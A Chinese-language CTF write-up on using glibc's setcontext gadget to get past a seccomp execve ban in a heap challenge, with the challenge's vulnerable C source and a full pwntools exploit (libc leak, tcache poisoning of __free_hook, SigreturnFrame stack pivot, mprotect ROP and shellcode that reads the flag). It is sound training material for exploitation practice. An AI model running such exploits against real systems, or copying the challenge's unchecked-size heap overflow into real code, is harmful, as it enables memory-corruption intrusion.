0%

堆沙盒 orw

有些 heap 題會使用 seccomp 禁用 execve(),使我們無法使用開 shell 的方式拿到 flag
此時我們可以透過 setcontext 進行 ROP,構造 orw 來讀取檔案內容

Ubuntu 18.04

可以跳到 <setcontext + 53> 給各個 register 賦值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0x52050 <setcontext>:	        push   rdi
0x52051 <setcontext+1>: lea rsi,[rdi+0x128]
0x52058 <setcontext+8>: xor edx,edx
0x5205a <setcontext+10>: mov edi,0x2
0x5205f <setcontext+15>: mov r10d,0x8
0x52065 <setcontext+21>: mov eax,0xe
0x5206a <setcontext+26>: syscall
0x5206c <setcontext+28>: pop rdi
0x5206d <setcontext+29>: cmp rax,0xfffffffffffff001
0x52073 <setcontext+35>: jae 0x520d0 <setcontext+128>
0x52075 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x5207c <setcontext+44>: fldenv [rcx]
0x5207e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x52085 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x5208c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x52093 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x52097 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x5209b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x5209f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x520a3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x520a7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x520ae <setcontext+94>: push rcx
0x520af <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x520b3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x520ba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x520c1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x520c5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x520c9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x520cd <setcontext+125>: xor eax,eax
0x520cf <setcontext+127>: ret
0x520d0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x398d91] # 0x3eae68
0x520d7 <setcontext+135>: neg eax
0x520d9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x520dc <setcontext+140>: or rax,0xffffffffffffffff
0x520e0 <setcontext+144>: ret

利用手法大概是這樣

  1. 把 free_hook 改成 seccontext + 53
  2. 準備好一塊寫好各個 register value 的 chunk,將 rsp 指向 rop chain (這部分可以用 pwntools 的 SigreturnFrame(),這樣就不用自己算偏移)。一個簡單的例子是像 SROP 那樣構造一個 read,把 rop chain 寫上去,並把 rsp 指到 rop chain 的開頭,這樣在 read 完就會跳到 rop chain 上面
  3. free 掉那塊 chunk,觸發 setcontext

practice

題目

使用了 https://bbs.kanxue.com/thread-271174.htm 中第五天的題目
為了方便理解,我先假設我們知道 flag 的檔案名稱,理解後會練習把這個假設拿掉的作法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include<stdio.h>
#include <math.h>
#include <stdio.h>
#include<unistd.h>
#include <dirent.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

void sandbox(){
struct sock_filter filter[] = {
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}

int init(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}

int num = 0;
char *heaparray[0x10];
size_t realsize[0x10];

void create(){
if(num >= 0x20){
puts("no more");
return;
}
int size;
puts("Size of Heap : ");
scanf("%d",&size);
heaparray[num]=(char *)malloc(size);
realsize[num]=size;
num++;
}

void show(){
int idx ;
char buf[4];
printf("Index :\n");
read(0, buf, 4);
idx = atoi(buf);
if(idx < 0 || idx >= 0x10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size : %ld\nContent : %s\n",realsize[idx],heaparray[idx]);
puts("Done !");
}else{
puts("No such heap !");
}
}

void edit(){
int idx ;
char buf[4];
printf("Index :\n");
read(0, buf, 4);
idx = atoi(buf);
if(idx < 0 || idx >= 0x10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
int size;
puts("Size of Heap : ");
scanf("%d",&size);
printf("Content of heap : \n");
read(0,heaparray[idx],size);
puts("Done !");
}else{
puts("No such heap !");
}
}

void dele(){
int idx ;
char buf[4];
printf("Index :\n");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 0x10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]);
realsize[idx] = 0 ;
heaparray[idx] = NULL;
puts("Done !");
num--;
}else{
puts("No such heap !");
}
}

void menu(void){
puts("1.create");
puts("2.dele");
puts("3.edit");
puts("4.show");
}

void main(){
init();
sandbox();
int choice;
while(1){
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:create();break;
case 2:dele();break;
case 3:edit();break;
case 4:show();break;
default:puts("error");
}
}
}

exploit (知道檔名)

leak libc 跟改 free hook 就不講了,重點在於構造 ROP 拿 flag
我們可以構造一個 read(0, fake_rsp, 0x5000) 把 ROP chain 寫上去,並把 rsp 指到 ROP chain 上面
這邊有兩種打法,第一個是直接 ROP,第二個是先用 ROP 構造 mprotect 把那塊記憶體改成 rwx,再用 jmp rsp 跳上去。由於 pwntools 有 shellcraft(),我覺得後者會比較方便一點
我這邊是用 mprotect 後跳到 cat ./flag 的 shellcode 上面來拿 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

def add(size):
p.recvuntil(b'show\n')
p.sendline('1')
p.recvuntil(b': \n')
p.sendline(str(size))

def delete(idx):
p.recvuntil(b'show\n')
p.sendline('2')
p.recvuntil(b':\n')
p.sendline(str(idx))

def edit(idx, size, content):
p.recvuntil(b'show\n')
p.sendline('3')
p.recvuntil(b':\n')
p.sendline(str(idx))
p.recvuntil(b': \n')
p.sendline(str(size))
p.recvuntil(b': \n')
p.send(content)

def show(idx):
p.recvuntil(b'show\n')
p.sendline('4')
p.recvuntil(b':\n')
p.sendline(str(idx))

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

p = process('./orw')
elf = ELF('./orw')
rop = ROP('/lib/x86_64-linux-gnu/libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

add(0x420) #0
for i in range (7):
add(0x10) #1 ~ 7
delete(0)
add(0x420) #7
show(7)
p.recvuntil('Content : ')
libc_base = u64(p.recvline()[:6] + b'\x00' * 0x2) - 0x3ebca0
print("libc base: ", hex(libc_base))
setcontext = libc_base + libc.symbols['setcontext'] + 53
free_hook = libc_base + libc.symbols['__free_hook']
mprotect = libc_base + libc.symbols['mprotect']
pop_rax_ret = libc_base + next(libc.search(asm('pop rax\nret')))
pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi\nret')))
pop_rsi_ret = libc_base + next(libc.search(asm('pop rsi\nret')))
pop_rdx_ret = libc_base + next(libc.search(asm('pop rdx\nret')))
syscall_ret = libc_base + next(libc.search(asm('syscall\nret')))
jmp_rsp = libc_base + next(libc.search(asm('jmp rsp')))
print('gadgets\n---------------------')
print('pop rax; ret', hex(pop_rax_ret))
print('pop rdi; ret', hex(pop_rdi_ret))
print('pop rsi; ret', hex(pop_rsi_ret))
print('pop rdx; ret', hex(pop_rdx_ret))
print('syscall; ret', hex(syscall_ret))
print('jmp rsp', hex(jmp_rsp))
fake_rsp = free_hook & 0xfffffffffffff000
read_frame = SigreturnFrame()
read_frame.rax = 0
read_frame.rdi = 0
read_frame.rsi = fake_rsp
read_frame.rdx = 0x5000
read_frame.rip = syscall_ret
read_frame.rsp = fake_rsp #

add(0x10) #8
add(0x10) #9
delete(9)
edit(8, 0x100, b'a' * 0x10 + p64(0) + p64(0x21) + p64(free_hook))
add(0x10) #9
add(0x10) #10
add(0x1000) #11
edit(10, 0x50, p64(setcontext))
edit(11, 0x1000, bytes(read_frame))
delete(11)

rop_chain = flat(
[pop_rdi_ret, fake_rsp,
pop_rsi_ret, 0x1000,
pop_rdx_ret, 7,
pop_rax_ret, 10,
syscall_ret, jmp_rsp])
rop_chain += asm(shellcraft.cat('./flag'))
p.send(rop_chain)
p.interactive()